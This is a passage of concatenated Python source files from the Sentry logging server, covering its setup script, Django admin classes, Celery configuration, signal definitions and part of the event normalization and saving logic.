        with open(self.sentry_static_version_path, 'w') as fp:
            fp.write(version_info['build'])
        return manifest

    @property
    def sentry_static_dist_path(self):
        return os.path.abspath(os.path.join(
            self.build_lib, 'sentry/static/sentry/dist'))

    @property
    def sentry_package_json_path(self):
        return os.path.abspath(os.path.join(
            self.build_lib, 'sentry/sentry-package.json'))

    @property
    def sentry_static_version_path(self):
        return os.path.abspath(os.path.join(
            self.build_lib, 'sentry/static/version'))


class SentrySDistCommand(SDistCommand):
    # If we are not a light build we want to also execute build_js as
    # part of our source build pipeline.
    if not IS_LIGHT_BUILD:
        sub_commands = SDistCommand.sub_commands + \
            [('build_js', None)]


class SentryBuildCommand(BuildCommand):

    def run(self):
        BuildCommand.run(self)
        if not IS_LIGHT_BUILD:
            self.run_command('build_js')


class SentryDevelopCommand(DevelopCommand):

    def run(self):
        DevelopCommand.run(self)
        if not IS_LIGHT_BUILD:
            self.run_command('build_js')


cmdclass = {
    'sdist': SentrySDistCommand,
    'develop': SentryDevelopCommand,
    'build': SentryBuildCommand,
    'build_js': BuildJavascriptCommand,
}


setup(
    name='sentry',
    version=VERSION,
    author='Sentry',
    author_email='hello@getsentry.com',
    url='https://getsentry.com',
    description='A realtime logging and aggregation server.',
    long_description=open(os.path.join(ROOT, 'README.rst')).read(),
    package_dir={'': 'src'},
    packages=find_packages('src'),
    zip_safe=False,
    install_requires=install_requires,
    extras_require={
        'tests': tests_require,
        'dev': dev_requires,
        'postgres': install_requires,
        'dsym': dsym_requires,
    },
    cmdclass=cmdclass,
    license='BSD',
    include_package_data=True,
    entry_points={
        'console_scripts': [
            'sentry = sentry.runner:main',
        ],
        'flake8.extension': [
        ],
    },
    classifiers=[
        'Framework :: Django',
        'Intended Audience :: Developers',
        'Intended Audience :: System Administrators',
        'Operating System :: POSIX :: Linux',
        'Topic :: Software Development'
    ],
)






from __future__ import absolute_import

import os
import sys

pytest_plugins = [
    'sentry.utils.pytest'
]

sys.path.insert(0, os.path.join(os.path.dirname(__file__), 'src'))


def pytest_configure(config):
    import warnings
    # XXX(dcramer): Riak throws a UserWarning re:OpenSSL which isnt important
    # to tests
    # XXX(dramer): Kombu throws a warning due to transaction.commit_manually
    # being used
    warnings.filterwarnings('error', '', Warning, r'^(?!(|kombu|raven|riak|sentry))')






from __future__ import absolute_import

from django.core.exceptions import SuspiciousOperation


class InvalidData(Exception):
    pass


class InvalidInterface(InvalidData):
    pass


class InvalidRequest(Exception):
    pass


class InvalidOrigin(InvalidRequest):
    def __init__(self, origin):
        self.origin = origin

    def __str__(self):
        return "Invalid origin: '%s'" % self.origin


class CacheNotPopulated(Exception):
    pass


class InvalidConfiguration(Exception):
    pass


class DeleteAborted(Exception):
    pass


class RestrictedIPAddress(SuspiciousOperation):
    pass






from __future__ import absolute_import

from django.conf import settings
from django.contrib import admin, messages
from django.contrib.auth.forms import (
    UserCreationForm, UserChangeForm, AdminPasswordChangeForm
)
from django.core.exceptions import PermissionDenied
from django.db import transaction
from django.http import Http404, HttpResponseRedirect
from django.utils.decorators import method_decorator
from django.views.decorators.csrf import csrf_protect
from django.views.decorators.debug import sensitive_post_parameters
from django.shortcuts import get_object_or_404
from django.template.response import TemplateResponse
from django.utils.translation import ugettext, ugettext_lazy as _
from pprint import saferepr
from sentry.models import (
    ApiKey, AuthIdentity, AuthProvider, AuditLogEntry, Broadcast,
    Option, Organization, OrganizationMember, OrganizationMemberTeam, Project,
    Team, User
)
from sentry.utils.html import escape

csrf_protect_m = method_decorator(csrf_protect)
sensitive_post_parameters_m = method_decorator(sensitive_post_parameters())


class BroadcastAdmin(admin.ModelAdmin):
    list_display = ('title', 'message', 'is_active', 'date_added')
    list_filter = ('is_active',)
    search_fields = ('title', 'message', 'link')
    readonly_fields = ('upstream_id', 'date_added')

admin.site.register(Broadcast, BroadcastAdmin)


class OptionAdmin(admin.ModelAdmin):
    list_display = ('key', 'last_updated')
    fields = ('key', 'value_repr', 'last_updated')
    readonly_fields = ('key', 'value_repr', 'last_updated')
    search_fields = ('key',)

    def value_repr(self, instance):
        return '<pre style="display:inline-block;white-space:pre-wrap;">{}</pre>'.format(
            escape(saferepr(instance.value))
        )

    value_repr.short_description = "Value"
    value_repr.allow_tags = True


admin.site.register(Option, OptionAdmin)


class ProjectAdmin(admin.ModelAdmin):
    list_display = ('name', 'slug', 'organization', 'status', 'date_added')
    list_filter = ('status', 'public')
    search_fields = ('name', 'organization__slug', 'organization__name', 'team__slug',
                     'team__name', 'slug')
    raw_id_fields = ('team', 'organization')
    readonly_fields = ('first_event', 'date_added')

admin.site.register(Project, ProjectAdmin)


class OrganizationApiKeyInline(admin.TabularInline):
    model = ApiKey
    extra = 1
    fields = ('label', 'key', 'status', 'allowed_origins', 'date_added')
    raw_id_fields = ('organization',)


class OrganizationProjectInline(admin.TabularInline):
    model = Project
    extra = 1
    fields = ('name', 'slug', 'status', 'date_added')
    raw_id_fields = ('organization', 'team')


class OrganizationTeamInline(admin.TabularInline):
    model = Team
    extra = 1
    fields = ('name', 'slug', 'status', 'date_added')
    raw_id_fields = ('organization',)


class OrganizationMemberInline(admin.TabularInline):
    model = OrganizationMember
    extra = 1
    fields = ('user', 'organization', 'role')
    raw_id_fields = ('user', 'organization')


class AuthIdentityInline(admin.TabularInline):
    model = AuthIdentity
    extra = 1
    fields = ('user', 'auth_provider', 'ident', 'data', 'last_verified')
    raw_id_fields = ('user', 'auth_provider')


class OrganizationAdmin(admin.ModelAdmin):
    list_display = ('name', 'slug', 'status')
    list_filter = ('status',)
    search_fields = ('name', 'slug')
    fields = ('name', 'slug', 'status')
    inlines = (OrganizationMemberInline, OrganizationTeamInline,
               OrganizationProjectInline, OrganizationApiKeyInline)

admin.site.register(Organization, OrganizationAdmin)


class AuthProviderAdmin(admin.ModelAdmin):
    list_display = ('organization', 'provider', 'date_added')
    search_fields = ('organization__name',)
    raw_id_fields = ('organization', 'default_teams')
    list_filter = ('provider',)

admin.site.register(AuthProvider, AuthProviderAdmin)


class AuthIdentityAdmin(admin.ModelAdmin):
    list_display = ('user', 'auth_provider', 'ident', 'date_added', 'last_verified')
    list_filter = ('auth_provider__provider',)
    search_fields = ('user__email', 'user__username',
                     'auth_provider__organization__name')
    raw_id_fields = ('user', 'auth_provider')

admin.site.register(AuthIdentity, AuthIdentityAdmin)


class TeamProjectInline(admin.TabularInline):
    model = Project
    extra = 1
    fields = ('name', 'slug')
    raw_id_fields = ('organization', 'team')


class TeamAdmin(admin.ModelAdmin):
    list_display = ('name', 'slug', 'organization', 'status', 'date_added')
    list_filter = ('status',)
    search_fields = ('name', 'organization__name', 'slug')
    raw_id_fields = ('organization',)
    inlines = (TeamProjectInline,)

    def save_model(self, request, obj, form, change):
        prev_org = obj.organization_id
        super(TeamAdmin, self).save_model(request, obj, form, change)
        if not change:
            return
        new_org = obj.organization_id
        if new_org != prev_org:
            return

        Project.objects.filter(
            team=obj,
        ).update(
            organization=obj.organization,
        )

        old_memberships = OrganizationMember.objects.filter(
            teams=obj,
        ).exclude(organization=obj.organization)
        for member in old_memberships:
            try:
                new_member = OrganizationMember.objects.get(
                    user=member.user,
                    organization=obj.organization,
                )
            except OrganizationMember.DoesNotExist:
                continue
            OrganizationMemberTeam.objects.create(
                team=obj,
                organizationmember=new_member,
            )

        OrganizationMemberTeam.objects.filter(
            team=obj,
        ).exclude(
            organizationmember__organization=obj.organization,
        ).delete()

admin.site.register(Team, TeamAdmin)


class UserAdmin(admin.ModelAdmin):
    add_form_template = 'admin/auth/user/add_form.html'
    change_user_password_template = None
    fieldsets = (
        (None, {'fields': ('username', 'password')}),
        (_('Personal info'), {'fields': ('name', 'email')}),
        (_('Permissions'), {'fields': ('is_active', 'is_staff', 'is_superuser')}),
        (_('Important dates'), {'fields': ('last_login', 'date_joined')}),
    )
    add_fieldsets = (
        (None, {
            'classes': ('wide',),
            'fields': ('username', 'password1', 'password2')
        }),
    )
    form = UserChangeForm
    add_form = UserCreationForm
    change_password_form = AdminPasswordChangeForm
    list_display = ('username', 'email', 'name', 'is_staff', 'date_joined')
    list_filter = ('is_staff', 'is_superuser', 'is_active', 'is_managed')
    search_fields = ('username', 'name', 'email')
    ordering = ('username',)
    inlines = (OrganizationMemberInline, AuthIdentityInline)

    def get_fieldsets(self, request, obj=None):
        if not obj:
            return self.add_fieldsets
        return super(UserAdmin, self).get_fieldsets(request, obj)

    def get_form(self, request, obj=None, **kwargs):
        """
        Use special form during user creation
        """
        defaults = {}
        if obj is None:
            defaults.update({
                'form': self.add_form,
                'fields': admin.util.flatten_fieldsets(self.add_fieldsets),
            })
        defaults.update(kwargs)
        return super(UserAdmin, self).get_form(request, obj, **defaults)

    def get_urls(self):
        from django.conf.urls import patterns
        return patterns('',
            (r'^(\d+)/password/$',
             self.admin_site.admin_view(self.user_change_password))
        ) + super(UserAdmin, self).get_urls()

    def lookup_allowed(self, lookup, value):
        # See #20078: we don't want to allow any lookups involving passwords.
        if lookup.startswith('password'):
            return False
        return super(UserAdmin, self).lookup_allowed(lookup, value)

    @sensitive_post_parameters_m
    @csrf_protect_m
    @transaction.atomic
    def add_view(self, request, form_url='', extra_context=None):
        # It's an error for a user to have add permission but NOT change
        # permission for users. If we allowed such users to add users, they
        # could create superusers, which would mean they would essentially have
        # the permission to change users. To avoid the problem entirely, we
        # disallow users from adding users if they don't have change
        # permission.
        if not self.has_change_permission(request):
            if self.has_add_permission(request) and settings.DEBUG:
                # Raise Http404 in debug mode so that the user gets a helpful
                # error message.
                raise Http404(
                    'Your user does not have the "Change user" permission. In '
                    'order to add users, Django requires that your user '
                    'account have both the "Add user" and "Change user" '
                    'permissions set.')
            raise PermissionDenied
        if extra_context is None:
            extra_context = {}
        username_field = self.model._meta.get_field(self.model.USERNAME_FIELD)
        defaults = {
            'auto_populated_fields': (),
            'username_help_text': username_field.help_text,
        }
        extra_context.update(defaults)
        return super(UserAdmin, self).add_view(request, form_url,
                                               extra_context)

    @sensitive_post_parameters_m
    def user_change_password(self, request, id, form_url=''):
        if not self.has_change_permission(request):
            raise PermissionDenied
        user = get_object_or_404(self.queryset(request), pk=id)
        if request.method == 'POST':
            form = self.change_password_form(user, request.POST)
            if form.is_valid():
                form.save()
                msg = ugettext('Password changed successfully.')
                messages.success(request, msg)
                return HttpResponseRedirect('..')
        else:
            form = self.change_password_form(user)

        fieldsets = [(None, {'fields': list(form.base_fields)})]
        adminForm = admin.helpers.AdminForm(form, fieldsets, {})

        context = {
            'title': _('Change password: %s') % escape(user.get_username()),
            'adminForm': adminForm,
            'form_url': form_url,
            'form': form,
            'is_popup': '_popup' in request.REQUEST,
            'add': True,
            'change': False,
            'has_delete_permission': False,
            'has_change_permission': True,
            'has_absolute_url': False,
            'opts': self.model._meta,
            'original': user,
            'save_as': False,
            'show_save': True,
        }
        return TemplateResponse(request,
            self.change_user_password_template or
            'admin/auth/user/change_password.html',
            context, current_app=self.admin_site.name)

    def response_add(self, request, obj, post_url_continue=None):
        """
        Determines the HttpResponse for the add_view stage. It mostly defers to
        its superclass implementation but is customized because the User model
        has a slightly different workflow.
        """
        # We should allow further modification of the user just added i.e. the
        # 'Save' button should behave like the 'Save and continue editing'
        # button except in two scenarios:
        # * The user has pressed the 'Save and add another' button
        # * We are adding a user in a popup
        if '_addanother' not in request.POST and '_popup' not in request.POST:
            request.POST['_continue'] = 1
        return super(UserAdmin, self).response_add(request, obj,
                                                   post_url_continue)

admin.site.register(User, UserAdmin)


class AuditLogEntryAdmin(admin.ModelAdmin):
    list_display = ('event', 'organization', 'actor', 'datetime')
    list_filter = ('event', 'datetime')
    search_fields = ('actor__email', 'organization__name', 'organization__slug')
    raw_id_fields = ('organization', 'actor', 'target_user')
    readonly_fields = ('organization', 'actor', 'actor_key', 'target_object',
                       'target_user', 'event', 'ip_address', 'data', 'datetime')

admin.site.register(AuditLogEntry, AuditLogEntryAdmin)






from __future__ import absolute_import

import celery
import os
import os.path
import sys

# Add the project to the python path
sys.path.insert(0, os.path.join(os.path.dirname(__file__), os.pardir))

# Configure the application only if it seemingly isnt already configured
from django.conf import settings
if not settings.configured:
    from sentry.runner import configure
    configure()

from sentry.utils import metrics


DB_SHARED_THREAD = """\
DatabaseWrapper objects created in a thread can only \
be used in that same thread.  The object with alias '%s' \
was created in thread id %s and this is thread id %s.\
"""


def patch_thread_ident():
    # monkey patch django.
    # This patch make sure that we use real threads to get the ident which
    # is going to happen if we are using gevent or eventlet.
    # -- patch taken from gunicorn
    if getattr(patch_thread_ident, 'called', False):
        return
    try:
        from django.db.backends import BaseDatabaseWrapper, DatabaseError

        if 'validate_thread_sharing' in BaseDatabaseWrapper.__dict__:
            from six.moves import _thread as thread

            _get_ident = thread.get_ident

            __old__init__ = BaseDatabaseWrapper.__init__

            def _init(self, *args, **kwargs):
                __old__init__(self, *args, **kwargs)
                self._thread_ident = _get_ident()

            def _validate_thread_sharing(self):
                if (not self.allow_thread_sharing
                        and self._thread_ident != _get_ident()):
                    raise DatabaseError(
                        DB_SHARED_THREAD % (
                            self.alias, self._thread_ident, _get_ident()),
                    )

            BaseDatabaseWrapper.__init__ = _init
            BaseDatabaseWrapper.validate_thread_sharing = \
                _validate_thread_sharing

        patch_thread_ident.called = True
    except ImportError:
        pass
patch_thread_ident()


class Celery(celery.Celery):
    def on_configure(self):
        from raven.contrib.django.models import client
        from raven.contrib.celery import register_signal, register_logger_signal

        # register a custom filter to filter out duplicate logs
        register_logger_signal(client)

        # hook into the Celery error handler
        register_signal(client)


app = Celery('sentry')


OriginalTask = app.Task


class SentryTask(OriginalTask):

    def apply_async(self, *args, **kwargs):
        key = 'jobs.delay'
        instance = self.name
        with metrics.timer(key, instance=instance):
            return OriginalTask.apply_async(self, *args, **kwargs)

app.Task = SentryTask

# Using a string here means the worker will not have to
# pickle the object when using Windows.
app.config_from_object(settings)
app.autodiscover_tasks(lambda: settings.INSTALLED_APPS)






"""
sentry
~~~~~~

:copyright: (c) 2015 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

from .runner import main
main()






from __future__ import absolute_import

from functools import wraps

from django.dispatch import Signal


class BetterSignal(Signal):
    def connect(self, receiver=None, **kwargs):
        """
        Support decorator syntax:

        >>> @signal.connect(sender=type)
        >>> def my_receiver(**kwargs):
        >>>     pass

        """
        def wrapped(func):
            return super(BetterSignal, self).connect(func, **kwargs)

        if receiver is None:
            return wrapped
        return wraps(receiver)(wrapped(receiver))


regression_signal = BetterSignal(providing_args=["instance"])
buffer_incr_complete = BetterSignal(providing_args=["model", "columns", "extra", "result"])
event_received = BetterSignal(providing_args=["ip"])
event_accepted = BetterSignal(providing_args=["ip", "data", "project"])
pending_delete = BetterSignal(providing_args=["instance"])
event_processed = BetterSignal(providing_args=['project', 'group', 'event'])

# Organization Onboarding Signals
project_created = BetterSignal(providing_args=["project", "user"])
first_event_pending = BetterSignal(providing_args=["project", "user"])
first_event_received = BetterSignal(providing_args=["project", "group"])
member_invited = BetterSignal(providing_args=["member", "user"])
member_joined = BetterSignal(providing_args=["member"])
issue_tracker_used = BetterSignal(providing_args=["plugin", "project", "user"])
plugin_enabled = BetterSignal(providing_args=["plugin", "project", "user"])

email_verified = BetterSignal(providing_args=["email"])






"""
sentry.event_manager
~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

import logging
import math
import six

from datetime import datetime, timedelta
from collections import OrderedDict
from django.conf import settings
from django.db import connection, IntegrityError, router, transaction
from django.db.models import Q
from django.utils import timezone
from django.utils.encoding import force_bytes, force_text
from hashlib import md5
from uuid import uuid4

from sentry import eventtypes
from sentry.app import buffer, tsdb
from sentry.constants import (
    CLIENT_RESERVED_ATTRS, LOG_LEVELS, DEFAULT_LOGGER_NAME, MAX_CULPRIT_LENGTH
)
from sentry.interfaces.base import get_interface
from sentry.models import (
    Activity, Environment, Event, EventMapping, EventUser, Group, GroupHash,
    GroupRelease, GroupResolution, GroupStatus, Project, Release,
    ReleaseEnvironment, TagKey, UserReport
)
from sentry.plugins import plugins
from sentry.signals import first_event_received, regression_signal
from sentry.tasks.merge import merge_group
from sentry.tasks.post_process import post_process_group
from sentry.utils.cache import default_cache
from sentry.utils.db import get_db_engine
from sentry.utils.hashlib import md5_text
from sentry.utils.safe import safe_execute, trim, trim_dict
from sentry.utils.strings import truncatechars
from sentry.utils.validators import validate_ip


def count_limit(count):
    # TODO: could we do something like num_to_store = max(math.sqrt(100*count)+59, 200) ?
    # ~ 150 * ((log(n) - 1.5) ^ 2 - 0.25)
    for amount, sample_rate in settings.SENTRY_SAMPLE_RATES:
        if count <= amount:
            return sample_rate
    return settings.SENTRY_MAX_SAMPLE_RATE


def time_limit(silence):  # ~ 3600 per hour
    for amount, sample_rate in settings.SENTRY_SAMPLE_TIMES:
        if silence >= amount:
            return sample_rate
    return settings.SENTRY_MAX_SAMPLE_TIME


def md5_from_hash(hash_bits):
    result = md5()
    for bit in hash_bits:
        result.update(force_bytes(bit, errors='replace'))
    return result.hexdigest()


def get_fingerprint_for_event(event):
    fingerprint = event.data.get('fingerprint')
    if fingerprint is None:
        return ['{{ default }}']
    if isinstance(fingerprint, six.string_types):
        return [fingerprint]
    return fingerprint


def get_hashes_for_event(event):
    return get_hashes_for_event_with_reason(event)[1]


def get_hashes_for_event_with_reason(event):
    interfaces = event.get_interfaces()
    for interface in six.itervalues(interfaces):
        result = interface.compute_hashes(event.platform)
        if not result:
            continue
        return (interface.get_path(), result)
    return ('message', [event.message])


def get_grouping_behavior(event):
    data = event.data
    if 'checksum' in data:
        return ('checksum', data['checksum'])
    fingerprint = get_fingerprint_for_event(event)
    return ('fingerprint', get_hashes_from_fingerprint_with_reason(event, fingerprint))


def get_hashes_from_fingerprint(event, fingerprint):
    default_values = set(['{{ default }}', '{{default}}'])
    if any(d in fingerprint for d in default_values):
        default_hashes = get_hashes_for_event(event)
        hash_count = len(default_hashes)
    else:
        hash_count = 1

    hashes = []
    for idx in range(hash_count):
        result = []
        for bit in fingerprint:
            if bit in default_values:
                result.extend(default_hashes[idx])
            else:
                result.append(bit)
        hashes.append(result)
    return hashes


def get_hashes_from_fingerprint_with_reason(event, fingerprint):
    default_values = set(['{{ default }}', '{{default}}'])
    if any(d in fingerprint for d in default_values):
        default_hashes = get_hashes_for_event_with_reason(event)
        hash_count = len(default_hashes[1])
    else:
        hash_count = 1

    hashes = OrderedDict((bit, []) for bit in fingerprint)
    for idx in range(hash_count):
        for bit in fingerprint:
            if bit in default_values:
                hashes[bit].append(default_hashes)
            else:
                hashes[bit] = bit
    return list(hashes.items())


if not settings.SENTRY_SAMPLE_DATA:
    def should_sample(current_datetime, last_seen, times_seen):
        return False
else:
    def should_sample(current_datetime, last_seen, times_seen):
        silence = current_datetime - last_seen

        if times_seen % count_limit(times_seen) == 0:
            return False

        if times_seen % time_limit(silence) == 0:
            return False

        return True


def generate_culprit(data, platform=None):
    culprit = ''

    try:
        stacktraces = [
            e['stacktrace']
            for e in data['sentry.interfaces.Exception']['values']
            if e.get('stacktrace')
        ]
    except KeyError:
        if 'sentry.interfaces.Stacktrace' in data:
            stacktraces = [data['sentry.interfaces.Stacktrace']]
        else:
            stacktraces = None

    if not stacktraces:
        if 'sentry.interfaces.Http' in data:
            culprit = data['sentry.interfaces.Http'].get('url', '')
    else:
        from sentry.interfaces.stacktrace import Stacktrace
        culprit = Stacktrace.to_python(stacktraces[-1]).get_culprit_string(
            platform=platform,
        )

    return truncatechars(culprit, MAX_CULPRIT_LENGTH)


def plugin_is_regression(group, event):
    project = event.project
    for plugin in plugins.for_project(project):
        result = safe_execute(plugin.is_regression, group, event,
                              version=1, _with_transaction=False)
        if result is not None:
            return result
    return True


class ScoreClause(object):
    def __init__(self, group):
        self.group = group

    def __int__(self):
        # Calculate the score manually when coercing to an int.
        # This is used within create_or_update and friends
        return self.group.get_score()

    def prepare_database_save(self, unused):
        return self

    def prepare(self, evaluator, query, allow_joins):
        return

    def evaluate(self, node, qn, connection):
        engine = get_db_engine(getattr(connection, 'alias', 'default'))
        if engine.startswith('postgresql'):
            sql = 'log(times_seen) * 600 + last_seen::abstime::int'
        elif engine.startswith('mysql'):
            sql = 'log(times_seen) * 600 + unix_timestamp(last_seen)'
        else:
            # XXX: if we cant do it atomically let's do it the best we can
            sql = int(self)

        return (sql, [])

    @classmethod
    def calculate(cls, times_seen, last_seen):
        return math.log(times_seen) * 600 + float(last_seen.strftime('%s'))


class EventManager(object):
    logger = logging.getLogger('sentry.events')

    def __init__(self, data, version='5'):
        self.data = data
        self.version = version

    def normalize(self):
        # TODO(dcramer): store http.env.REMOTE_ADDR as user.ip
        # First we pull out our top-level (non-data attr) kwargs
        data = self.data

        if not isinstance(data.get('level'), (six.string_types, int)):
            data['level'] = logging.ERROR
        elif data['level'] not in LOG_LEVELS:
            data['level'] = logging.ERROR

        if not data.get('logger'):
            data['logger'] = DEFAULT_LOGGER_NAME
        else:
            logger = trim(data['logger'].strip(), 64)
            if TagKey.is_valid_key(logger):
                data['logger'] = logger
            else:
                data['logger'] = DEFAULT_LOGGER_NAME

        if data.get('platform'):
            data['platform'] = trim(data['platform'], 64)

        current_timestamp = timezone.now()
        timestamp = data.get('timestamp')
        if not timestamp:
            timestamp = current_timestamp

        if isinstance(timestamp, datetime):
            # We must convert date to local time so Django doesn't mess it up
            # based on TIME_ZONE
            if settings.TIME_ZONE:
                if not timezone.is_aware(timestamp):
                    timestamp = timestamp.replace(tzinfo=timezone.utc)
            elif timezone.is_aware(timestamp):
                timestamp = timestamp.replace(tzinfo=None)
            timestamp = float(timestamp.strftime('%s'))

        data['timestamp'] = timestamp
        data['received'] = float(timezone.now().strftime('%s'))

        if not data.get('event_id'):
            data['event_id'] = uuid4().hex

        data.setdefault('culprit', None)
        data.setdefault('server_name', None)
        data.setdefault('site', None)
        data.setdefault('checksum', None)
        data.setdefault('fingerprint', None)
        data.setdefault('platform', None)
        data.setdefault('environment', None)
        data.setdefault('extra', {})
        data.setdefault('errors', [])

        tags = data.get('tags')
        if not tags:
            tags = []
        # full support for dict syntax
        elif isinstance(tags, dict):
            tags = list(tags.items())
        # prevent [tag, tag, tag] (invalid) syntax
        elif not all(len(t) == 2 for t in tags):
            tags = []
        else:
            tags = list(tags)

        data['tags'] = []
        for key, value in tags:
            key = six.text_type(key).strip()
            value = six.text_type(value).strip()
            if not (key and value):
                continue

            # XXX(dcramer): many legacy apps are using the environment tag
            # rather than the key itself
            if key == 'environment' and not data.get('environment'):
                data['environment'] = value
            else:
                data['tags'].append((key, value))

        if not isinstance(data['extra'], dict):
            # throw it away
            data['extra'] = {}

        trim_dict(
            data['extra'], max_size=settings.SENTRY_MAX_EXTRA_VARIABLE_SIZE)

        # TODO(dcramer): more of validate data needs stuffed into the manager
        for key in list(iter(data)):
            if key in CLIENT_RESERVED_ATTRS:
                continue

            value = data.pop(key)

            try:
                interface = get_interface(key)()
            except ValueError:
                continue

            try:
                inst = interface.to_python(value)
                data[inst.get_path()] = inst.to_json()
            except Exception:
                # XXX: we should consider logging this.
                pass

        # TODO(dcramer): this logic is duplicated in ``validate_data`` from
        # coreapi

        # message is coerced to an interface, as its used for pure
        # index of searchable strings
        # See GH-3248
        message = data.pop('message', None)
        if message:
            if 'sentry.interfaces.Message' not in data:
                interface = get_interface('sentry.interfaces.Message')
                try:
                    inst = interface.to_python({
                        'message': message,
                    })
                    data[inst.get_path()] = inst.to_json()
                except Exception:
                    pass
            elif not data['sentry.interfaces.Message'].get('formatted'):
                interface = get_interface('sentry.interfaces.Message')
                try:
                    inst = interface.to_python(dict(
                        data['sentry.interfaces.Message'],
                        formatted=message,
                    ))
                    data[inst.get_path()] = inst.to_json()
                except Exception:
                    pass

        # the SDKs currently do not describe event types, and we must infer
        # them from available attributes
        data['type'] = eventtypes.infer(data).key

        data['version'] = self.version

        # TODO(dcramer): find a better place for this logic
        exception = data.get('sentry.interfaces.Exception')
        stacktrace = data.get('sentry.interfaces.Stacktrace')
        if exception and len(exception['values']) == 1 and stacktrace:
            exception['values'][0]['stacktrace'] = stacktrace
            del data['sentry.interfaces.Stacktrace']

        if 'sentry.interfaces.Http' in data:
            try:
                ip_address = validate_ip(
                    data['sentry.interfaces.Http'].get(
                        'env', {}).get('REMOTE_ADDR'),
                    required=False,
                )
            except ValueError:
                ip_address = None
            if ip_address:
                data.setdefault('sentry.interfaces.User', {})
                data['sentry.interfaces.User'].setdefault(
                    'ip_address', ip_address)

        if data['culprit']:
            data['culprit'] = trim(data['culprit'], MAX_CULPRIT_LENGTH)

        return data

    def save(self, project, raw=False):
        from sentry.tasks.post_process import index_event_tags

        project = Project.objects.get_from_cache(id=project)

        data = self.data.copy()

        # First we pull out our top-level (non-data attr) kwargs
        event_id = data.pop('event_id')
        level = data.pop('level')

        culprit = data.pop('culprit', None)
        logger_name = data.pop('logger', None)
        server_name = data.pop('server_name', None)
        site = data.pop('site', None)
        checksum = data.pop('checksum', None)
        fingerprint = data.pop('fingerprint', None)
        platform = data.pop('platform', None)
        release = data.pop('release', None)
        environment = data.pop('environment', None)

        # unused
        time_spent = data.pop('time_spent', None)
        message = data.pop('message', '')

        if not culprit:
            culprit = generate_culprit(data, platform=platform)

        date = datetime.fromtimestamp(data.pop('timestamp'))
        date = date.replace(tzinfo=timezone.utc)

        kwargs = {
            'platform': platform,
        }

        event = Event(
            project_id=project.id,
            event_id=event_id,
            data=data,
            time_spent=time_spent,
            datetime=date,
            **kwargs
        )

        tags = data.get('tags') or []
        tags.append(('level', LOG_LEVELS[level]))
        if logger_name:
            tags.append(('logger', logger_name))
        if server_name:
            tags.append(('server_name', server_name))
        if site:
            tags.append(('site', site))
        if release:
            # TODO(dcramer): we should ensure we create Release objects
            tags.append(('sentry:release', release))
        if environment:
            tags.append(('environment', environment))

        for plugin in plugins.for_project(project, version=None):
            added_tags = safe_execute(plugin.get_tags, event,
                                      _with_transaction=False)
            if added_tags:
                tags.extend(added_tags)

        event_user = self._get_event_user(project, data)
        if event_user:
            tags.append(('sentry:user', event_user.tag_value))

        # XXX(dcramer): we're relying on mutation of the data object to ensure
        # this propagates into Event
        data['tags'] = tags

        data['fingerprint'] = fingerprint or ['{{ default }}']

        for path, iface in six.iteritems(event.interfaces):
            data['tags'].extend(iface.iter_tags())
            # Get rid of ephemeral interface data
            if iface.ephemeral:
                data.pop(iface.get_path(), None)

        # prioritize fingerprint over checksum as its likely the client defaulted
        # a checksum whereas the fingerprint was explicit
        if fingerprint:
            hashes = [
                md5_from_hash(h)
                for h in get_hashes_from_fingerprint(event, fingerprint)
            ]
        elif checksum:
            hashes = [checksum]
            data['checksum'] = checksum
        else:
            hashes = [
                md5_from_hash(h)
                for h in get_hashes_for_event(event)
            ]

        # TODO(dcramer): temp workaround for complexity
        data['message'] = message
        event_type = eventtypes.get(data.get('type', 'default'))(data)
        event_metadata = event_type.get_metadata()
        # TODO(dcramer): temp workaround for complexity
        del data['message']

        data['type'] = event_type.key
        data['metadata'] = event_metadata

        # index components into ``Event.message``
        # See GH-3248
        if event_type.key != 'default':
            if 'sentry.interfaces.Message' in data and \
                    data['sentry.interfaces.Message']['message'] != message:
                message = u'{} {}'.format(
                    message,
                    data['sentry.interfaces.Message']['message'],
                )

        if not message:
            message = ''
        elif not isinstance(message, six.string_types):
            message = force_text(message)

        for value in six.itervalues(event_metadata):
            value_u = force_text(value, errors='replace')
            if value_u not in message:
                message = u'{} {}'.format(message, value_u)

        message = trim(message.strip(), settings.SENTRY_MAX_MESSAGE_LENGTH)

        event.message = message
        kwargs['message'] = message

        group_kwargs = kwargs.copy()
        group_kwargs.update({
            'culprit': culprit,
            'logger': logger_name,
            'level': level,
            'last_seen': date,
            'first_seen': date,
            'data': {
                'last_received': event.data.get('received') or float(event.datetime.strftime('%s')),
                'type': event_type.key,
                # we cache the events metadata on the group to ensure its
                # accessible in the stream
                'metadata': event_metadata,
            },
        })

        if release:
            release = Release.get_or_create(
                project=project,
                version=release,
                date_added=date,
            )

            group_kwargs['first_release'] = release

        group, is_new, is_regression, is_sample = self._save_aggregate(
            event=event,
            hashes=hashes,
            release=release,
            **group_kwargs
        )

        event.group = group
        # store a reference to the group id to guarantee validation of isolation
        event.data.bind_ref(event)

        try:
            with transaction.atomic(using=router.db_for_write(EventMapping)):
                EventMapping.objects.create(
                    project=project, group=group, event_id=event_id)
        except IntegrityError:
            self.logger.info('duplicate.found', extra={'event_id': event.id}, exc_info=True)
            return event

        environment = Environment.get_or_create(
            project=project,
            name=environment,
        )

        if release:
            ReleaseEnvironment.get_or_create(
                project=project,
                release=release,
                environment=environment,
                datetime=date,
            )

            grouprelease = GroupRelease.get_or_create(
                group=group,
                release=release,
                environment=environment,
                datetime=date,
            )

        counters = [
            (tsdb.models.group, group.id),
            (tsdb.models.project, project.id),
        ]

        if release:
            counters.append((tsdb.models.release, release.id))

        tsdb.incr_multi(counters, timestamp=event.datetime)

        frequencies = [
            # (tsdb.models.frequent_projects_by_organization, {
            #     project.organization_id: {
            #         project.id: 1,
            #     },
            # }),
            # (tsdb.models.frequent_issues_by_project, {
            #     project.id: {
            #         group.id: 1,
            #     },
            # })
            (tsdb.models.frequent_environments_by_group, {
                group.id: {
                    environment.id: 1,
                },
            })
        ]

        if release:
            frequencies.append(
                (tsdb.models.frequent_releases_by_group, {
                    group.id: {
                        grouprelease.id: 1,
                    },
                })
            )

        tsdb.record_frequency_multi(frequencies, timestamp=event.datetime)

        UserReport.objects.filter(
            project=project, event_id=event_id,
        ).update(group=group)

        # save the event unless its been sampled
        if not is_sample:
            try:
                with transaction.atomic(using=router.db_for_write(Event)):
                    event.save()
